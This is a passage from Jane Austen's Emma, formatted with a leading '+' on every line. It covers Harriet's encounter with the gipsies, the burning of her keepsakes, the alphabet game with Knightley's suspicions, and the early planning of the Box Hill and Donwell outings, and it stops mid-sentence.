+is totally without. An unpretending, single-minded, artless girl-- +infinitely to be preferred by any man of sense and taste to such +a woman as Mrs. Elton. I found Harriet more conversable than I expected." + +Emma was extremely gratified.--They were interrupted by the bustle +of Mr. Weston calling on every body to begin dancing again. + +"Come Miss Woodhouse, Miss Otway, Miss Fairfax, what are you all doing?-- +Come Emma, set your companions the example. Every body is lazy! +Every body is asleep!" + +"I am ready," said Emma, "whenever I am wanted." + +"Whom are you going to dance with?" asked Mr. Knightley. + +She hesitated a moment, and then replied, "With you, if you will +ask me." + +"Will you?" said he, offering his hand. + +"Indeed I will. You have shewn that you can dance, and you know we +are not really so much brother and sister as to make it at all improper." + +"Brother and sister! no, indeed." + + + +CHAPTER III + + +This little explanation with Mr. Knightley gave Emma considerable +pleasure. It was one of the agreeable recollections of the ball, +which she walked about the lawn the next morning to enjoy.--She was +extremely glad that they had come to so good an understanding respecting +the Eltons, and that their opinions of both husband and wife were so +much alike; and his praise of Harriet, his concession in her favour, +was peculiarly gratifying. The impertinence of the Eltons, which for +a few minutes had threatened to ruin the rest of her evening, had been +the occasion of some of its highest satisfactions; and she looked +forward to another happy result--the cure of Harriet's infatuation.-- +From Harriet's manner of speaking of the circumstance before they +quitted the ballroom, she had strong hopes. It seemed as if her eyes +were suddenly opened, and she were enabled to see that Mr. Elton +was not the superior creature she had believed him. The fever +was over, and Emma could harbour little fear of the pulse being +quickened again by injurious courtesy. She depended on the evil +feelings of the Eltons for supplying all the discipline of pointed +neglect that could be farther requisite.--Harriet rational, +Frank Churchill not too much in love, and Mr. Knightley not +wanting to quarrel with her, how very happy a summer must be before her! + +She was not to see Frank Churchill this morning. He had told +her that he could not allow himself the pleasure of stopping +at Hartfield, as he was to be at home by the middle of the day. +She did not regret it. + +Having arranged all these matters, looked them through, and put them all +to rights, she was just turning to the house with spirits freshened up +for the demands of the two little boys, as well as of their grandpapa, +when the great iron sweep-gate opened, and two persons entered +whom she had never less expected to see together--Frank Churchill, +with Harriet leaning on his arm--actually Harriet!--A moment +sufficed to convince her that something extraordinary had happened. +Harriet looked white and frightened, and he was trying to cheer her.-- +The iron gates and the front-door were not twenty yards asunder;-- +they were all three soon in the hall, and Harriet immediately sinking +into a chair fainted away. + +A young lady who faints, must be recovered; questions must be answered, +and surprizes be explained. Such events are very interesting, +but the suspense of them cannot last long. A few minutes made Emma +acquainted with the whole. + +Miss Smith, and Miss Bickerton, another parlour boarder at +Mrs. Goddard's, who had been also at the ball, had walked out together, +and taken a road, the Richmond road, which, though apparently public +enough for safety, had led them into alarm.--About half a mile +beyond Highbury, making a sudden turn, and deeply shaded by elms +on each side, it became for a considerable stretch very retired; +and when the young ladies had advanced some way into it, +they had suddenly perceived at a small distance before them, +on a broader patch of greensward by the side, a party of gipsies. +A child on the watch, came towards them to beg; and Miss Bickerton, +excessively frightened, gave a great scream, and calling on Harriet +to follow her, ran up a steep bank, cleared a slight hedge at the top, +and made the best of her way by a short cut back to Highbury. +But poor Harriet could not follow. She had suffered very much +from cramp after dancing, and her first attempt to mount the bank +brought on such a return of it as made her absolutely powerless-- +and in this state, and exceedingly terrified, she had been obliged +to remain. + +How the trampers might have behaved, had the young ladies been +more courageous, must be doubtful; but such an invitation for attack +could not be resisted; and Harriet was soon assailed by half a +dozen children, headed by a stout woman and a great boy, all clamorous, +and impertinent in look, though not absolutely in word.--More and +more frightened, she immediately promised them money, and taking out +her purse, gave them a shilling, and begged them not to want more, +or to use her ill.--She was then able to walk, though but slowly, +and was moving away--but her terror and her purse were too tempting, +and she was followed, or rather surrounded, by the whole gang, +demanding more. + +In this state Frank Churchill had found her, she trembling +and conditioning, they loud and insolent. By a most fortunate +chance his leaving Highbury had been delayed so as to bring him +to her assistance at this critical moment. The pleasantness +of the morning had induced him to walk forward, and leave his +horses to meet him by another road, a mile or two beyond Highbury-- +and happening to have borrowed a pair of scissors the night before +of Miss Bates, and to have forgotten to restore them, he had +been obliged to stop at her door, and go in for a few minutes: +he was therefore later than he had intended; and being on foot, +was unseen by the whole party till almost close to them. +The terror which the woman and boy had been creating in Harriet +was then their own portion. He had left them completely frightened; +and Harriet eagerly clinging to him, and hardly able to speak, +had just strength enough to reach Hartfield, before her spirits +were quite overcome. It was his idea to bring her to Hartfield: +he had thought of no other place. + +This was the amount of the whole story,--of his communication and +of Harriet's as soon as she had recovered her senses and speech.-- +He dared not stay longer than to see her well; these several delays +left him not another minute to lose; and Emma engaging to give +assurance of her safety to Mrs. Goddard, and notice of there +being such a set of people in the neighbourhood to Mr. Knightley, +he set off, with all the grateful blessings that she could utter +for her friend and herself. + +Such an adventure as this,--a fine young man and a lovely young +woman thrown together in such a way, could hardly fail of suggesting +certain ideas to the coldest heart and the steadiest brain. +So Emma thought, at least. Could a linguist, could a grammarian, +could even a mathematician have seen what she did, have witnessed their +appearance together, and heard their history of it, without feeling +that circumstances had been at work to make them peculiarly interesting +to each other?--How much more must an imaginist, like herself, +be on fire with speculation and foresight!--especially with such +a groundwork of anticipation as her mind had already made. + +It was a very extraordinary thing! Nothing of the sort had ever +occurred before to any young ladies in the place, within her memory; +no rencontre, no alarm of the kind;--and now it had happened +to the very person, and at the very hour, when the other very +person was chancing to pass by to rescue her!--It certainly +was very extraordinary!--And knowing, as she did, the favourable +state of mind of each at this period, it struck her the more. +He was wishing to get the better of his attachment to herself, +she just recovering from her mania for Mr. Elton. It seemed as if +every thing united to promise the most interesting consequences. +It was not possible that the occurrence should not be strongly +recommending each to the other. + +In the few minutes' conversation which she had yet had with him, +while Harriet had been partially insensible, he had spoken of her terror, +her naivete, her fervour as she seized and clung to his arm, with a +sensibility amused and delighted; and just at last, after Harriet's +own account had been given, he had expressed his indignation +at the abominable folly of Miss Bickerton in the warmest terms. +Every thing was to take its natural course, however, neither impelled +nor assisted. She would not stir a step, nor drop a hint. +No, she had had enough of interference. There could be no harm +in a scheme, a mere passive scheme. It was no more than a wish. +Beyond it she would on no account proceed. + +Emma's first resolution was to keep her father from the knowledge +of what had passed,--aware of the anxiety and alarm it would occasion: +but she soon felt that concealment must be impossible. Within half +an hour it was known all over Highbury. It was the very event +to engage those who talk most, the young and the low; and all +the youth and servants in the place were soon in the happiness of +frightful news. The last night's ball seemed lost in the gipsies. +Poor Mr. Woodhouse trembled as he sat, and, as Emma had foreseen, +would scarcely be satisfied without their promising never to go +beyond the shrubbery again. It was some comfort to him that many +inquiries after himself and Miss Woodhouse (for his neighbours +knew that he loved to be inquired after), as well as Miss Smith, +were coming in during the rest of the day; and he had the pleasure +of returning for answer, that they were all very indifferent-- +which, though not exactly true, for she was perfectly well, +and Harriet not much otherwise, Emma would not interfere with. +She had an unhappy state of health in general for the child of such +a man, for she hardly knew what indisposition was; and if he did not +invent illnesses for her, she could make no figure in a message. + +The gipsies did not wait for the operations of justice; they took +themselves off in a hurry. The young ladies of Highbury might have +walked again in safety before their panic began, and the whole +history dwindled soon into a matter of little importance but to Emma +and her nephews:--in her imagination it maintained its ground, +and Henry and John were still asking every day for the story of +Harriet and the gipsies, and still tenaciously setting her right +if she varied in the slightest particular from the original recital. + + + +CHAPTER IV + + +A very few days had passed after this adventure, when Harriet came +one morning to Emma with a small parcel in her hand, and after +sitting down and hesitating, thus began: + +"Miss Woodhouse--if you are at leisure--I have something that I +should like to tell you--a sort of confession to make--and then, +you know, it will be over." + +Emma was a good deal surprized; but begged her to speak. +There was a seriousness in Harriet's manner which prepared her, +quite as much as her words, for something more than ordinary. + +"It is my duty, and I am sure it is my wish," she continued, +"to have no reserves with you on this subject. As I am happily +quite an altered creature in _one_ _respect_, it is very fit that you +should have the satisfaction of knowing it. I do not want to say +more than is necessary--I am too much ashamed of having given way +as I have done, and I dare say you understand me." + +"Yes," said Emma, "I hope I do." + +"How I could so long a time be fancying myself! . . ." +cried Harriet, warmly. "It seems like madness! I can see nothing +at all extraordinary in him now.--I do not care whether I meet +him or not--except that of the two I had rather not see him-- +and indeed I would go any distance round to avoid him--but I do +not envy his wife in the least; I neither admire her nor envy her, +as I have done: she is very charming, I dare say, and all that, +but I think her very ill-tempered and disagreeable--I shall never forget +her look the other night!--However, I assure you, Miss Woodhouse, +I wish her no evil.--No, let them be ever so happy together, +it will not give me another moment's pang: and to convince you +that I have been speaking truth, I am now going to destroy--what I +ought to have destroyed long ago--what I ought never to have kept-- +I know that very well (blushing as she spoke).--However, now I +will destroy it all--and it is my particular wish to do it +in your presence, that you may see how rational I am grown. +Cannot you guess what this parcel holds?" said she, with a conscious look. + +"Not the least in the world.--Did he ever give you any thing?" + +"No--I cannot call them gifts; but they are things that I have +valued very much." + +She held the parcel towards her, and Emma read the words _Most_ +_precious_ _treasures_ on the top. Her curiosity was greatly excited. +Harriet unfolded the parcel, and she looked on with impatience. +Within abundance of silver paper was a pretty little Tunbridge-ware box, +which Harriet opened: it was well lined with the softest cotton; +but, excepting the cotton, Emma saw only a small piece of court-plaister. + +"Now," said Harriet, "you _must_ recollect." + +"No, indeed I do not." + +"Dear me! I should not have thought it possible you could forget +what passed in this very room about court-plaister, one of the very +last times we ever met in it!--It was but a very few days before I +had my sore throat--just before Mr. and Mrs. John Knightley came-- +I think the very evening.--Do not you remember his cutting his finger +with your new penknife, and your recommending court-plaister?-- +But, as you had none about you, and knew I had, you desired +me to supply him; and so I took mine out and cut him a piece; +but it was a great deal too large, and he cut it smaller, and kept +playing some time with what was left, before he gave it back to me. +And so then, in my nonsense, I could not help making a treasure of it-- +so I put it by never to be used, and looked at it now and then +as a great treat." + +"My dearest Harriet!" cried Emma, putting her hand before her face, +and jumping up, "you make me more ashamed of myself than I can bear. +Remember it? Aye, I remember it all now; all, except your saving +this relic--I knew nothing of that till this moment--but the cutting +the finger, and my recommending court-plaister, and saying I had none +about me!--Oh! my sins, my sins!--And I had plenty all the while in +my pocket!--One of my senseless tricks!--I deserve to be under a +continual blush all the rest of my life.--Well--(sitting down again)-- +go on--what else?" + +"And had you really some at hand yourself? I am sure I never +suspected it, you did it so naturally." + +"And so you actually put this piece of court-plaister by for his sake!" +said Emma, recovering from her state of shame and feeling divided +between wonder and amusement. And secretly she added to herself, +"Lord bless me! when should I ever have thought of putting by in cotton +a piece of court-plaister that Frank Churchill had been pulling about! +I never was equal to this." + +"Here," resumed Harriet, turning to her box again, "here is +something still more valuable, I mean that _has_ _been_ more valuable, +because this is what did really once belong to him, which the +court-plaister never did." + +Emma was quite eager to see this superior treasure. It was the end +of an old pencil,--the part without any lead. + +"This was really his," said Harriet.--"Do not you remember +one morning?--no, I dare say you do not. But one morning--I forget +exactly the day--but perhaps it was the Tuesday or Wednesday before +_that_ _evening_, he wanted to make a memorandum in his pocket-book; +it was about spruce-beer. Mr. Knightley had been telling him +something about brewing spruce-beer, and he wanted to put it down; +but when he took out his pencil, there was so little lead that he +soon cut it all away, and it would not do, so you lent him another, +and this was left upon the table as good for nothing. But I kept +my eye on it; and, as soon as I dared, caught it up, and never +parted with it again from that moment." + +"I do remember it," cried Emma; "I perfectly remember it.-- +Talking about spruce-beer.--Oh! yes--Mr. Knightley and I both saying we +liked it, and Mr. Elton's seeming resolved to learn to like it too. +I perfectly remember it.--Stop; Mr. Knightley was standing just here, +was not he? I have an idea he was standing just here." + +"Ah! I do not know. I cannot recollect.--It is very odd, +but I cannot recollect.--Mr. Elton was sitting here, I remember, +much about where I am now."-- + +"Well, go on." + +"Oh! that's all. I have nothing more to shew you, or to say-- +except that I am now going to throw them both behind the fire, +and I wish you to see me do it." + +"My poor dear Harriet! and have you actually found happiness +in treasuring up these things?" + +"Yes, simpleton as I was!--but I am quite ashamed of it now, and wish +I could forget as easily as I can burn them. It was very wrong +of me, you know, to keep any remembrances, after he was married. +I knew it was--but had not resolution enough to part with them." + +"But, Harriet, is it necessary to burn the court-plaister?--I have +not a word to say for the bit of old pencil, but the court-plaister +might be useful." + +"I shall be happier to burn it," replied Harriet. "It has +a disagreeable look to me. I must get rid of every thing.-- +There it goes, and there is an end, thank Heaven! of Mr. Elton." + +"And when," thought Emma, "will there be a beginning of Mr. Churchill?" + +She had soon afterwards reason to believe that the beginning was +already made, and could not but hope that the gipsy, though she had +_told_ no fortune, might be proved to have made Harriet's.--About a +fortnight after the alarm, they came to a sufficient explanation, +and quite undesignedly. Emma was not thinking of it at the moment, +which made the information she received more valuable. +She merely said, in the course of some trivial chat, "Well, Harriet, +whenever you marry I would advise you to do so and so"--and thought +no more of it, till after a minute's silence she heard Harriet +say in a very serious tone, "I shall never marry." + +Emma then looked up, and immediately saw how it was; and after a +moment's debate, as to whether it should pass unnoticed or not, replied, + +"Never marry!--This is a new resolution." + +"It is one that I shall never change, however." + +After another short hesitation, "I hope it does not proceed from-- +I hope it is not in compliment to Mr. Elton?" + +"Mr. Elton indeed!" cried Harriet indignantly.--"Oh! no"--and Emma +could just catch the words, "so superior to Mr. Elton!" + +She then took a longer time for consideration. Should she proceed +no farther?--should she let it pass, and seem to suspect nothing?-- +Perhaps Harriet might think her cold or angry if she did; +or perhaps if she were totally silent, it might only drive +Harriet into asking her to hear too much; and against any thing +like such an unreserve as had been, such an open and frequent +discussion of hopes and chances, she was perfectly resolved.-- +She believed it would be wiser for her to say and know at once, +all that she meant to say and know. Plain dealing was always best. +She had previously determined how far she would proceed, +on any application of the sort; and it would be safer for both, +to have the judicious law of her own brain laid down with speed.-- +She was decided, and thus spoke-- + +"Harriet, I will not affect to be in doubt of your meaning. +Your resolution, or rather your expectation of never marrying, +results from an idea that the person whom you might prefer, +would be too greatly your superior in situation to think of you. +Is not it so?" + +"Oh! Miss Woodhouse, believe me I have not the presumption to suppose-- +Indeed I am not so mad.--But it is a pleasure to me to admire him +at a distance--and to think of his infinite superiority to all +the rest of the world, with the gratitude, wonder, and veneration, +which are so proper, in me especially." + +"I am not at all surprized at you, Harriet. The service he rendered +you was enough to warm your heart." + +"Service! oh! it was such an inexpressible obligation!-- +The very recollection of it, and all that I felt at the time-- +when I saw him coming--his noble look--and my wretchedness before. +Such a change! In one moment such a change! From perfect misery +to perfect happiness!" + +"It is very natural. It is natural, and it is honourable.-- +Yes, honourable, I think, to chuse so well and so gratefully.-- +But that it will be a fortunate preference is more that I can promise. +I do not advise you to give way to it, Harriet. I do not by any +means engage for its being returned. Consider what you are about. +Perhaps it will be wisest in you to check your feelings while you can: +at any rate do not let them carry you far, unless you are persuaded +of his liking you. Be observant of him. Let his behaviour be the +guide of your sensations. I give you this caution now, because I +shall never speak to you again on the subject. I am determined +against all interference. Henceforward I know nothing of the matter. +Let no name ever pass our lips. We were very wrong before; +we will be cautious now.--He is your superior, no doubt, and there +do seem objections and obstacles of a very serious nature; +but yet, Harriet, more wonderful things have taken place, there have +been matches of greater disparity. But take care of yourself. +I would not have you too sanguine; though, however it may end, +be assured your raising your thoughts to _him_, is a mark of good taste +which I shall always know how to value." + +Harriet kissed her hand in silent and submissive gratitude. +Emma was very decided in thinking such an attachment no bad thing +for her friend. Its tendency would be to raise and refine her mind-- +and it must be saving her from the danger of degradation. + + + +CHAPTER V + + +In this state of schemes, and hopes, and connivance, June opened +upon Hartfield. To Highbury in general it brought no material change. +The Eltons were still talking of a visit from the Sucklings, +and of the use to be made of their barouche-landau; and Jane Fairfax +was still at her grandmother's; and as the return of the Campbells +from Ireland was again delayed, and August, instead of Midsummer, +fixed for it, she was likely to remain there full two months longer, +provided at least she were able to defeat Mrs. Elton's activity +in her service, and save herself from being hurried into a delightful +situation against her will. + +Mr. Knightley, who, for some reason best known to himself, had certainly +taken an early dislike to Frank Churchill, was only growing to dislike +him more. He began to suspect him of some double dealing in his +pursuit of Emma. That Emma was his object appeared indisputable. +Every thing declared it; his own attentions, his father's hints, +his mother-in-law's guarded silence; it was all in unison; +words, conduct, discretion, and indiscretion, told the same story. +But while so many were devoting him to Emma, and Emma herself making him +over to Harriet, Mr. Knightley began to suspect him of some inclination +to trifle with Jane Fairfax. He could not understand it; but there +were symptoms of intelligence between them--he thought so at least-- +symptoms of admiration on his side, which, having once observed, +he could not persuade himself to think entirely void of meaning, +however he might wish to escape any of Emma's errors of imagination. +_She_ was not present when the suspicion first arose. He was dining +with the Randalls family, and Jane, at the Eltons'; and he had +seen a look, more than a single look, at Miss Fairfax, which, +from the admirer of Miss Woodhouse, seemed somewhat out of place. +When he was again in their company, he could not help remembering +what he had seen; nor could he avoid observations which, unless it +were like Cowper and his fire at twilight, + +"Myself creating what I saw," + +brought him yet stronger suspicion of there being a something +of private liking, of private understanding even, between Frank +Churchill and Jane. + +He had walked up one day after dinner, as he very often did, +to spend his evening at Hartfield. Emma and Harriet were going +to walk; he joined them; and, on returning, they fell in with a +larger party, who, like themselves, judged it wisest to take their +exercise early, as the weather threatened rain; Mr. and Mrs. Weston +and their son, Miss Bates and her niece, who had accidentally met. +They all united; and, on reaching Hartfield gates, Emma, who knew it +was exactly the sort of visiting that would be welcome to her father, +pressed them all to go in and drink tea with him. The Randalls +party agreed to it immediately; and after a pretty long speech +from Miss Bates, which few persons listened to, she also found it +possible to accept dear Miss Woodhouse's most obliging invitation. + +As they were turning into the grounds, Mr. Perry passed by on horseback. +The gentlemen spoke of his horse. + +"By the bye," said Frank Churchill to Mrs. Weston presently, +"what became of Mr. Perry's plan of setting up his carriage?" + +Mrs. Weston looked surprized, and said, "I did not know that he +ever had any such plan." + +"Nay, I had it from you. You wrote me word of it three months ago." + +"Me! impossible!" + +"Indeed you did. I remember it perfectly. You mentioned it as +what was certainly to be very soon. Mrs. Perry had told somebody, +and was extremely happy about it. It was owing to _her_ persuasion, +as she thought his being out in bad weather did him a great deal +of harm. You must remember it now?" + +"Upon my word I never heard of it till this moment." + +"Never! really, never!--Bless me! how could it be?--Then I must +have dreamt it--but I was completely persuaded--Miss Smith, +you walk as if you were tired. You will not be sorry to find +yourself at home." + +"What is this?--What is this?" cried Mr. Weston, "about Perry +and a carriage? Is Perry going to set up his carriage, Frank? +I am glad he can afford it. You had it from himself, had you?" + +"No, sir," replied his son, laughing, "I seem to have had it +from nobody.--Very odd!--I really was persuaded of Mrs. Weston's +having mentioned it in one of her letters to Enscombe, many weeks ago, +with all these particulars--but as she declares she never heard +a syllable of it before, of course it must have been a dream. I am +a great dreamer. I dream of every body at Highbury when I am away-- +and when I have gone through my particular friends, then I begin +dreaming of Mr. and Mrs. Perry." + +"It is odd though," observed his father, "that you should have had such +a regular connected dream about people whom it was not very likely you +should be thinking of at Enscombe. Perry's setting up his carriage! +and his wife's persuading him to it, out of care for his health-- +just what will happen, I have no doubt, some time or other; +only a little premature. What an air of probability sometimes +runs through a dream! And at others, what a heap of absurdities +it is! Well, Frank, your dream certainly shews that Highbury is in +your thoughts when you are absent. Emma, you are a great dreamer, +I think?" + +Emma was out of hearing. She had hurried on before her guests +to prepare her father for their appearance, and was beyond the reach +of Mr. Weston's hint. + +"Why, to own the truth," cried Miss Bates, who had been trying in vain +to be heard the last two minutes, "if I must speak on this subject, +there is no denying that Mr. Frank Churchill might have--I do not +mean to say that he did not dream it--I am sure I have sometimes +the oddest dreams in the world--but if I am questioned about it, +I must acknowledge that there was such an idea last spring; +for Mrs. Perry herself mentioned it to my mother, and the Coles +knew of it as well as ourselves--but it was quite a secret, +known to nobody else, and only thought of about three days. +Mrs. Perry was very anxious that he should have a carriage, and came +to my mother in great spirits one morning because she thought she +had prevailed. Jane, don't you remember grandmama's telling us +of it when we got home? I forget where we had been walking to-- +very likely to Randalls; yes, I think it was to Randalls. +Mrs. Perry was always particularly fond of my mother--indeed I do +not know who is not--and she had mentioned it to her in confidence; +she had no objection to her telling us, of course, but it was not +to go beyond: and, from that day to this, I never mentioned it +to a soul that I know of. At the same time, I will not positively +answer for my having never dropt a hint, because I know I do +sometimes pop out a thing before I am aware. I am a talker, +you know; I am rather a talker; and now and then I have let a thing +escape me which I should not. I am not like Jane; I wish I were. +I will answer for it _she_ never betrayed the least thing in the world. +Where is she?--Oh! just behind. Perfectly remember Mrs. Perry's coming.-- +Extraordinary dream, indeed!" + +They were entering the hall. Mr. Knightley's eyes had preceded +Miss Bates's in a glance at Jane. From Frank Churchill's face, +where he thought he saw confusion suppressed or laughed away, +he had involuntarily turned to hers; but she was indeed behind, +and too busy with her shawl. Mr. Weston had walked in. The two +other gentlemen waited at the door to let her pass. Mr. Knightley +suspected in Frank Churchill the determination of catching her eye-- +he seemed watching her intently--in vain, however, if it were so-- +Jane passed between them into the hall, and looked at neither. + +There was no time for farther remark or explanation. The dream must +be borne with, and Mr. Knightley must take his seat with the rest round +the large modern circular table which Emma had introduced at Hartfield, +and which none but Emma could have had power to place there and +persuade her father to use, instead of the small-sized Pembroke, +on which two of his daily meals had, for forty years been crowded. +Tea passed pleasantly, and nobody seemed in a hurry to move. + +"Miss Woodhouse," said Frank Churchill, after examining a table +behind him, which he could reach as he sat, "have your nephews taken +away their alphabets--their box of letters? It used to stand here. +Where is it? This is a sort of dull-looking evening, that ought +to be treated rather as winter than summer. We had great amusement +with those letters one morning. I want to puzzle you again." + +Emma was pleased with the thought; and producing the box, the table +was quickly scattered over with alphabets, which no one seemed so much +disposed to employ as their two selves. They were rapidly forming +words for each other, or for any body else who would be puzzled. +The quietness of the game made it particularly eligible for +Mr. Woodhouse, who had often been distressed by the more animated sort, +which Mr. Weston had occasionally introduced, and who now sat happily +occupied in lamenting, with tender melancholy, over the departure +of the "poor little boys," or in fondly pointing out, as he took +up any stray letter near him, how beautifully Emma had written it. + +Frank Churchill placed a word before Miss Fairfax. She gave +a slight glance round the table, and applied herself to it. +Frank was next to Emma, Jane opposite to them--and Mr. Knightley +so placed as to see them all; and it was his object to see as much +as he could, with as little apparent observation. The word +was discovered, and with a faint smile pushed away. If meant +to be immediately mixed with the others, and buried from sight, +she should have looked on the table instead of looking just across, +for it was not mixed; and Harriet, eager after every fresh word, +and finding out none, directly took it up, and fell to work. +She was sitting by Mr. Knightley, and turned to him for help. +The word was _blunder_; and as Harriet exultingly proclaimed it, +there was a blush on Jane's cheek which gave it a meaning not +otherwise ostensible. Mr. Knightley connected it with the dream; +but how it could all be, was beyond his comprehension. +How the delicacy, the discretion of his favourite could have been +so lain asleep! He feared there must be some decided involvement. +Disingenuousness and double dealing seemed to meet him at every turn. +These letters were but the vehicle for gallantry and trick. +It was a child's play, chosen to conceal a deeper game on Frank +Churchill's part. + +With great indignation did he continue to observe him; with great +alarm and distrust, to observe also his two blinded companions. +He saw a short word prepared for Emma, and given to her with a look +sly and demure. He saw that Emma had soon made it out, and found +it highly entertaining, though it was something which she judged it +proper to appear to censure; for she said, "Nonsense! for shame!" +He heard Frank Churchill next say, with a glance towards Jane, +"I will give it to her--shall I?"--and as clearly heard Emma +opposing it with eager laughing warmth. "No, no, you must not; +you shall not, indeed." + +It was done however. This gallant young man, who seemed to love +without feeling, and to recommend himself without complaisance, +directly handed over the word to Miss Fairfax, and with a particular +degree of sedate civility entreated her to study it. Mr. Knightley's +excessive curiosity to know what this word might be, made him seize +every possible moment for darting his eye towards it, and it was +not long before he saw it to be _Dixon_. Jane Fairfax's perception +seemed to accompany his; her comprehension was certainly more equal +to the covert meaning, the superior intelligence, of those five letters +so arranged. She was evidently displeased; looked up, and seeing +herself watched, blushed more deeply than he had ever perceived her, +and saying only, "I did not know that proper names were allowed," +pushed away the letters with even an angry spirit, and looked +resolved to be engaged by no other word that could be offered. +Her face was averted from those who had made the attack, and turned +towards her aunt. + +"Aye, very true, my dear," cried the latter, though Jane had not +spoken a word--"I was just going to say the same thing. It is time +for us to be going indeed. The evening is closing in, and grandmama +will be looking for us. My dear sir, you are too obliging. +We really must wish you good night." + +Jane's alertness in moving, proved her as ready as her aunt +had preconceived. She was immediately up, and wanting to quit +the table; but so many were also moving, that she could not get away; +and Mr. Knightley thought he saw another collection of letters anxiously +pushed towards her, and resolutely swept away by her unexamined. +She was afterwards looking for her shawl--Frank Churchill was +looking also--it was growing dusk, and the room was in confusion; +and how they parted, Mr. Knightley could not tell. + +He remained at Hartfield after all the rest, his thoughts full +of what he had seen; so full, that when the candles came to assist +his observations, he must--yes, he certainly must, as a friend-- +an anxious friend--give Emma some hint, ask her some question. +He could not see her in a situation of such danger, without trying to +preserve her. It was his duty. + +"Pray, Emma," said he, "may I ask in what lay the great amusement, +the poignant sting of the last word given to you and Miss Fairfax? +I saw the word, and am curious to know how it could be so very +entertaining to the one, and so very distressing to the other." + +Emma was extremely confused. She could not endure to give him the +true explanation; for though her suspicions were by no means removed, +she was really ashamed of having ever imparted them. + +"Oh!" she cried in evident embarrassment, "it all meant nothing; +a mere joke among ourselves." + +"The joke," he replied gravely, "seemed confined to you +and Mr. Churchill." + +He had hoped she would speak again, but she did not. She would +rather busy herself about any thing than speak. He sat a little +while in doubt. A variety of evils crossed his mind. Interference-- +fruitless interference. Emma's confusion, and the acknowledged intimacy, +seemed to declare her affection engaged. Yet he would speak. +He owed it to her, to risk any thing that might be involved in +an unwelcome interference, rather than her welfare; to encounter +any thing, rather than the remembrance of neglect in such a cause. + +"My dear Emma," said he at last, with earnest kindness, "do you +think you perfectly understand the degree of acquaintance between +the gentleman and lady we have been speaking of?" + +"Between Mr. Frank Churchill and Miss Fairfax? Oh! yes, perfectly.-- +Why do you make a doubt of it?" + +"Have you never at any time had reason to think that he admired her, +or that she admired him?" + +"Never, never!" she cried with a most open eagerness--"Never, for +the twentieth part of a moment, did such an idea occur to me. +And how could it possibly come into your head?" + +"I have lately imagined that I saw symptoms of attachment between them-- +certain expressive looks, which I did not believe meant to be public." + +"Oh! you amuse me excessively. I am delighted to find that you +can vouchsafe to let your imagination wander--but it will not do-- +very sorry to check you in your first essay--but indeed it will +not do. There is no admiration between them, I do assure you; +and the appearances which have caught you, have arisen from some +peculiar circumstances--feelings rather of a totally different nature-- +it is impossible exactly to explain:--there is a good deal of +nonsense in it--but the part which is capable of being communicated, +which is sense, is, that they are as far from any attachment or +admiration for one another, as any two beings in the world can be. +That is, I _presume_ it to be so on her side, and I can _answer_ for its +being so on his. I will answer for the gentleman's indifference." + +She spoke with a confidence which staggered, with a satisfaction +which silenced, Mr. Knightley. She was in gay spirits, and would +have prolonged the conversation, wanting to hear the particulars +of his suspicions, every look described, and all the wheres and hows +of a circumstance which highly entertained her: but his gaiety did +not meet hers. He found he could not be useful, and his feelings +were too much irritated for talking. That he might not be irritated +into an absolute fever, by the fire which Mr. Woodhouse's tender +habits required almost every evening throughout the year, he soon +afterwards took a hasty leave, and walked home to the coolness +and solitude of Donwell Abbey. + + + +CHAPTER VI + + +After being long fed with hopes of a speedy visit from Mr. and +Mrs. Suckling, the Highbury world were obliged to endure the mortification +of hearing that they could not possibly come till the autumn. +No such importation of novelties could enrich their intellectual stores +at present. In the daily interchange of news, they must be again +restricted to the other topics with which for a while the Sucklings' +coming had been united, such as the last accounts of Mrs. Churchill, +whose health seemed every day to supply a different report, +and the situation of Mrs. Weston, whose happiness it was to be hoped +might eventually be as much increased by the arrival of a child, +as that of all her neighbours was by the approach of it. + +Mrs. Elton was very much disappointed. It was the delay of a great +deal of pleasure and parade. Her introductions and recommendations +must all wait, and every projected party be still only talked of. +So she thought at first;--but a little consideration convinced +her that every thing need not be put off. Why should not they +explore to Box Hill though the Sucklings did not come? They could +go there again with them in the autumn. It was settled that they +should go to Box Hill. That there was to be such a party had been +long generally known: it had even given the idea of another. +Emma had never been to Box Hill; she wished to see what every body +found so well worth seeing, and she and Mr. Weston had agreed +to chuse some fine morning and drive thither. Two or three more +of the chosen only were to be admitted to join them, and it was to +be done in a quiet, unpretending, elegant way, infinitely superior +to the bustle and preparation, the regular eating and drinking, +and picnic parade of the Eltons and the Sucklings. + +This was so very well understood between them, that Emma could +not but feel some surprise, and a little displeasure, on hearing +from Mr. Weston that he had been proposing to Mrs. Elton, as her +brother and sister had failed her, that the two parties should unite, +and go together; and that as Mrs. Elton had very readily acceded +to it, so it was to be, if she had no objection. Now, as her +objection was nothing but her very great dislike of Mrs. Elton, +of which Mr. Weston must already be perfectly aware, it was not worth +bringing forward again:--it could not be done without a reproof +to him, which would be giving pain to his wife; and she found +herself therefore obliged to consent to an arrangement which she +would have done a great deal to avoid; an arrangement which would +probably expose her even to the degradation of being said to be of +Mrs. Elton's party! Every feeling was offended; and the forbearance +of her outward submission left a heavy arrear due of secret severity +in her reflections on the unmanageable goodwill of Mr. Weston's temper. + +"I am glad you approve of what I have done," said he very comfortably. +"But I thought you would. Such schemes as these are nothing +without numbers. One cannot have too large a party. A large party +secures its own amusement. And she is a good-natured woman after all. +One could not leave her out." + +Emma denied none of it aloud, and agreed to none of it in private. + +It was now the middle of June, and the weather fine; and Mrs. Elton +was growing impatient to name the day, and settle with Mr. Weston +as to pigeon-pies and cold lamb, when a lame carriage-horse threw +every thing into sad uncertainty. It might be weeks, it might be +only a few days, before the horse were useable; but no preparations +could be ventured on, and it was all melancholy stagnation. +Mrs. Elton's resources were inadequate to such an attack. + +"Is not this most vexations, Knightley?" she cried.--"And such weather +for exploring!--These delays and disappointments are quite odious. +What are we to do?--The year will wear away at this rate, +and nothing done. Before this time last year I assure you we had +had a delightful exploring party from Maple Grove to Kings Weston." + +"You had better explore to Donwell," replied Mr. Knightley. +"That may be done without horses. Come, and eat my strawberries. +They are ripening fast." + +If Mr. Knightley did not begin seriously, he was obliged to proceed so, +for his proposal was caught at with delight; and the "Oh! I should +like it of all things," was not plainer in words than manner. +Donwell was famous for its strawberry-beds, which seemed a plea for +the invitation: but no plea was necessary; cabbage-beds would have +been enough to tempt the lady, who only wanted to be going somewhere. +She promised him again and again to come--much oftener than +he doubted--and was extremely gratified by such a proof of intimacy, +such a distinguishing compliment as she chose to consider it. + +"You may depend upon me," said she. "I certainly will come. +Name your day, and I will come. You will allow me to bring +Jane Fairfax?" + +"I cannot name a day," said he, "till I have spoken to some others +whom I would wish to meet you." + +"Oh! 